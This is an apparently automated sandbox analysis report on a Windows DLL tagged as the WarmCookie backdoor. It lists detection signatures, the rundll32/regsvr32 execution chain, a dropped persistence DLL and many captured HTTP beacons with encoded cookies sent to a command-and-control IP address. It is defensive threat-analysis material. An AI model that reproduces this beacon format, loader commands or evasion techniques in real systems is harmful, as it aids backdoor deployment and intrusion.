Edit tour

Windows Analysis Report
akdn2nefd.bin.dll

Overview

General Information

Sample name:	akdn2nefd.bin.dll renamed because original name is a hash value
Original sample name:	akdn2nefd.bin.exe
Analysis ID:	1493196
MD5:	59b7b8d29252a9128536fbd08d24375f
SHA1:	7221b9125608a54f9dd706166f936c16ee23164a
SHA256:	b7aec5f73d2a6bbd8cd920edb4760e2edadc98c3a45bf4fa994d47ca9cbd02f6
Tags:	backdoorexewarmcookie
Infos:

Detection

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

System process connects to network (likely due to code injection or exploit)

Creates files in the system32 config directory

Drops HTML or HTM files to system directories

Found evasive API chain (may stop execution after checking mutex)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Deletes files inside the Windows folder

Detected potential crypto function

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Registers a DLL

Sample execution stops while process was sleeping (likely an evasion)

Uses a known web browser user agent for HTTP communication

Classification

Process Tree

System is w10x64

loaddll64.exe (PID: 7316 cmdline: loaddll64.exe "C:\Users\user\Desktop\akdn2nefd.bin.dll" MD5: 763455F9DCB24DFEECC2B9D9F8D46D52)

conhost.exe (PID: 7324 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7368 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\akdn2nefd.bin.dll",#1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

rundll32.exe (PID: 7392 cmdline: rundll32.exe "C:\Users\user\Desktop\akdn2nefd.bin.dll",#1 MD5: EF3179D498793BF4234F708D3BE28633)

regsvr32.exe (PID: 7376 cmdline: regsvr32.exe /s C:\Users\user\Desktop\akdn2nefd.bin.dll MD5: B0C2FA35D14A9FAD919E99D9D75E1B9E)

rundll32.exe (PID: 7400 cmdline: rundll32.exe C:\Users\user\Desktop\akdn2nefd.bin.dll,DllGetClassObject MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 7456 cmdline: rundll32.exe C:\Users\user\Desktop\akdn2nefd.bin.dll,DllRegisterServer MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 7504 cmdline: rundll32.exe C:\Users\user\Desktop\akdn2nefd.bin.dll,DllRegisterServerEx MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 7568 cmdline: C:\Windows\system32\rundll32.exe "C:\ProgramData\Ventuso LLC\Updater.dll",Start /u MD5: EF3179D498793BF4234F708D3BE28633)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\Ventuso LLC\Updater.dll	ReversingLabs: Detection: 13%
Source: C:\ProgramData\Ventuso LLC\Updater.dll	Virustotal: Detection: 12%			Perma Link

Multi AV Scanner detection for submitted file

Source: akdn2nefd.bin.dll	ReversingLabs: Detection: 13%
Source: akdn2nefd.bin.dll	Virustotal: Detection: 12%			Perma Link

Source: akdn2nefd.bin.dll

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT

Source:

Binary string: E:\work\ooooooops\181\knock_v1.1.8\knock\bin64\knock.pdb source: rundll32.exe, 00000004.00000003.1777532301.0000016C8D400000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.1778367651.0000016C8D405000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmp, akdn2nefd.bin.dll, Updater.dll.4.dr

Source: C:\Windows\System32\rundll32.exe	Code function: 8_2_00007FFE115015B0 LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,swprintf,FindFirstFileW,FindNextFileW,FindClose,		8_2_00007FFE115015B0
Source: C:\Windows\System32\rundll32.exe	Code function: 8_2_00007FFE11511610 FindFirstFileExA,		8_2_00007FFE11511610

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\rundll32.exe

Network Connect: 72.5.43.29 80

Jump to behavior

Source: Joe Sandbox View

ASN Name: UNASSIGNED UNASSIGNED

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Content-Length: 120Connection: Keep-AliveCache-Control: no-cacheData Raw: e4 31 93 8b 9c d0 f6 03 3e bb ef 52 64 c1 a6 e0 7b 26 73 32 9b 6e b3 1b ca a1 a7 e7 8f f5 36 22 5c fb 00 56 f2 3e 8d e0 c3 17 d9 5f dd d0 cb b4 1d a7 cc 3f b9 11 97 de 94 d1 ff 36 27 f0 9c 8f 9c 10 ec 74 6a a4 13 e9 c8 ec c6 61 56 e6 b7 2d b2 fe f8 7b 4b cc 17 0e bf 72 29 50 98 a5 bd 77 17 f3 25 e2 91 1f a5 c7 67 c5 ed fe 1f f0 bb 15 eb 2a be 50 73 b1 6c 66 Data Ascii: 1>Rd{&s2n6"\V>_?6'tjaV-{Kr)Pw%g*Pslf
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Content-Length: 776Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 72.5.43.29
Source: unknown	TCP traffic detected without corresponding DNS query: 72.5.43.29
Source: unknown	TCP traffic detected without corresponding DNS query: 72.5.43.29
Source: unknown	TCP traffic detected without corresponding DNS query: 72.5.43.29
Source: unknown	TCP traffic detected without corresponding DNS query: 72.5.43.29
Source: unknown	TCP traffic detected without corresponding DNS query: 72.5.43.29
Source: unknown	TCP traffic detected without corresponding DNS query: 72.5.43.29
Source: unknown	TCP traffic detected without corresponding DNS query: 72.5.43.29
Source: unknown	TCP traffic detected without corresponding DNS query: 72.5.43.29
Source: unknown	TCP traffic detected without corresponding DNS query: 72.5.43.29
Source: unknown	TCP traffic detected without corresponding DNS query: 72.5.43.29
Source: unknown	TCP traffic detected without corresponding DNS query: 72.5.43.29
Source: unknown	TCP traffic detected without corresponding DNS query: 72.5.43.29
Source: unknown	TCP traffic detected without corresponding DNS query: 72.5.43.29
Source: unknown	TCP traffic detected without corresponding DNS query: 72.5.43.29
Source: unknown	TCP traffic detected without corresponding DNS query: 72.5.43.29
Source: unknown	TCP traffic detected without corresponding DNS query: 72.5.43.29
Source: unknown	TCP traffic detected without corresponding DNS query: 72.5.43.29
Source: unknown	TCP traffic detected without corresponding DNS query: 72.5.43.29
Source: unknown	TCP traffic detected without corresponding DNS query: 72.5.43.29
Source: unknown	TCP traffic detected without corresponding DNS query: 72.5.43.29
Source: unknown	TCP traffic detected without corresponding DNS query: 72.5.43.29
Source: unknown	TCP traffic detected without corresponding DNS query: 72.5.43.29
Source: unknown	TCP traffic detected without corresponding DNS query: 72.5.43.29
Source: unknown	TCP traffic detected without corresponding DNS query: 72.5.43.29
Source: unknown	TCP traffic detected without corresponding DNS query: 72.5.43.29
Source: unknown	TCP traffic detected without corresponding DNS query: 72.5.43.29
Source: unknown	TCP traffic detected without corresponding DNS query: 72.5.43.29
Source: unknown	TCP traffic detected without corresponding DNS query: 72.5.43.29
Source: unknown	TCP traffic detected without corresponding DNS query: 72.5.43.29
Source: unknown	TCP traffic detected without corresponding DNS query: 72.5.43.29
Source: unknown	TCP traffic detected without corresponding DNS query: 72.5.43.29
Source: unknown	TCP traffic detected without corresponding DNS query: 72.5.43.29
Source: unknown	TCP traffic detected without corresponding DNS query: 72.5.43.29
Source: unknown	TCP traffic detected without corresponding DNS query: 72.5.43.29
Source: unknown	TCP traffic detected without corresponding DNS query: 72.5.43.29
Source: unknown	TCP traffic detected without corresponding DNS query: 72.5.43.29
Source: unknown	TCP traffic detected without corresponding DNS query: 72.5.43.29
Source: unknown	TCP traffic detected without corresponding DNS query: 72.5.43.29
Source: unknown	TCP traffic detected without corresponding DNS query: 72.5.43.29
Source: unknown	TCP traffic detected without corresponding DNS query: 72.5.43.29
Source: unknown	TCP traffic detected without corresponding DNS query: 72.5.43.29
Source: unknown	TCP traffic detected without corresponding DNS query: 72.5.43.29
Source: unknown	TCP traffic detected without corresponding DNS query: 72.5.43.29
Source: unknown	TCP traffic detected without corresponding DNS query: 72.5.43.29
Source: unknown	TCP traffic detected without corresponding DNS query: 72.5.43.29
Source: unknown	TCP traffic detected without corresponding DNS query: 72.5.43.29
Source: unknown	TCP traffic detected without corresponding DNS query: 72.5.43.29
Source: unknown	TCP traffic detected without corresponding DNS query: 72.5.43.29
Source: unknown	TCP traffic detected without corresponding DNS query: 72.5.43.29

Source: C:\Windows\System32\rundll32.exe

